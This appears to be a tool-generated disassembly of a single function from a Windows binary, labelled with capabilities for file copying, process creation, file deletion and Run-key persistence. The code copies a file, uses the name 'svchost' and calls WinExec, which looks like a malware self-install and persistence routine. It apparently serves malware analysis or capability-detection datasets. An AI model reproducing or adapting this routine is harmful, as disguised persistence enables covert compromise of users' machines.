Function at 0x40cec0
Capabilities:
Copy file
Create process on windows
Delete file
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff80
push ebx
push esi
push edi
mov eax, 0x4c6bf4
call fcn.004a2f4c
call fcn.0040bf90
test al, al
je 0x40d039
mov word [ebp - 0x6c], 8
push 0x1bf2
mov edx, str.thisismymark
lea eax, [ebp - 4]
call fcn.004acfb4
inc dword [ebp - 0x60]
push dword [eax]
lea eax, [ebp - 8]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
call fcn.0040b6bc
add esp, 0xc
lea edx, [ebp - 8]
push dword [edx]
lea eax, [ebp - 0x14]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
mov edx, 0x4c2a32
lea eax, [ebp - 0x10]
call fcn.004acfb4
inc dword [ebp - 0x60]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
call fcn.00402014
pop ecx
lea eax, [ebp - 0xc]
pop edx
pop ecx
call fcn.004ad114
lea eax, [ebp - 0x14]
push dword [eax]
mov edx, 0x4c2a29
lea eax, [ebp - 0x18]
call fcn.004acfb4
inc dword [ebp - 0x60]
push dword [eax]
lea eax, [ebp - 0x1c]
call fcn.00401d74
mov edx, eax
inc dword [ebp - 0x60]
mov ecx, dword [0x4d45c8]
mov eax, dword [ecx]
call fcn.0048dea4
lea edx, [ebp - 0x1c]
push dword [edx]
call fcn.0040b47c
add esp, 0x10
dec dword [ebp - 0x60]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 8]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 4]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x6c], 0x14
mov edx, str.temp.dat
lea eax, [ebp - 0x20]
call fcn.004acfb4
inc dword [ebp - 0x60]
push dword [eax]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_DeleteFileA
dec dword [ebp - 0x60]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.004ad0d0
jmp 0x40d0f4
push 0
mov word [ebp - 0x6c], 0x20
lea eax, [ebp - 0x2c]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
mov edx, 0x4c2a55
lea eax, [ebp - 0x28]
call fcn.004acfb4
inc dword [ebp - 0x60]
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x24]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
call fcn.00402014
pop ecx
lea eax, [ebp - 0x24]
pop edx
pop ecx
call fcn.004ad114
lea eax, [ebp - 0x2c]
push dword [eax]
call fcn.00401ec4
pop ecx
push eax
lea eax, [ebp - 0x30]
call fcn.00401d74
mov edx, eax
inc dword [ebp - 0x60]
mov ecx, dword [0x4d45c8]
mov eax, dword [ecx]
call fcn.0048dea4
lea edx, [ebp - 0x30]
push dword [edx]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_CopyFileA
dec dword [ebp - 0x60]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.004ad0d0
mov dl, 1
mov eax, dword [0x453560]
call fcn.004536cc
mov dword [ebp - 0x80], eax
mov edx, SysStringLen
mov eax, dword [ebp - 0x80]
call fcn.004acf20
mov word [ebp - 0x6c], 0x2c
mov edx, 0x4c2a62
lea eax, [ebp - 0x34]
call fcn.004acfb4
inc dword [ebp - 0x60]
mov edx, dword [eax]
xor ecx, ecx
mov eax, dword [ebp - 0x80]
call fcn.00453810
dec dword [ebp - 0x60]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.004ad0d0
mov word [ebp - 0x6c], 0x38
lea eax, [ebp - 0x44]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
mov edx, 0x4c2a98
lea eax, [ebp - 0x40]
call fcn.004acfb4
inc dword [ebp - 0x60]
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x3c]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
call fcn.00402014
pop ecx
lea eax, [ebp - 0x3c]
pop edx
pop ecx
call fcn.004ad114
lea eax, [ebp - 0x44]
push dword [eax]
mov word [ebp - 0x6c], 0x44
mov edx, str.svchost
lea eax, [ebp - 0x38]
call fcn.004acfb4
inc dword [ebp - 0x60]
mov edx, dword [eax]
mov eax, dword [ebp - 0x80]
pop ecx
call fcn.00453adc
dec dword [ebp - 0x60]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.004ad0d0
push 1
mov word [ebp - 0x6c], 0x50
lea eax, [ebp - 0x50]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
mov edx, 0x4c2aa5
lea eax, [ebp - 0x4c]
call fcn.004acfb4
inc dword [ebp - 0x60]
lea edx, [ebp - 0x4c]
push edx
lea eax, [ebp - 0x48]
call fcn.00401d74
push eax
inc dword [ebp - 0x60]
call fcn.00402014
pop ecx
lea eax, [ebp - 0x48]
pop edx
pop ecx
call fcn.004ad114
lea eax, [ebp - 0x50]
push dword [eax]
call fcn.00401ec4
pop ecx
push eax
call sub.KERNEL32.DLL_WinExec
dec dword [ebp - 0x60]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.004ad0d0
dec dword [ebp - 0x60]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.004ad0d0
mov ecx, dword [0x4d45c8]
mov eax, dword [ecx]
call fcn.0048d9b8
mov word [ebp - 0x6c], 0
jmp 0x40d28f
mov eax, dword [ebp - 0x80]
call fcn.00453778
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x58], edx
cmp dword [ebp - 0x58], 0
je 0x40d2c4
mov ecx, dword [ebp - 0x58]
mov eax, dword [ecx]
mov dword [ebp - 0x54], eax
mov word [ebp - 0x6c], 0x68
mov edx, 3
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x6c], 0x5c
mov edx, dword [ebp - 0x7c]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret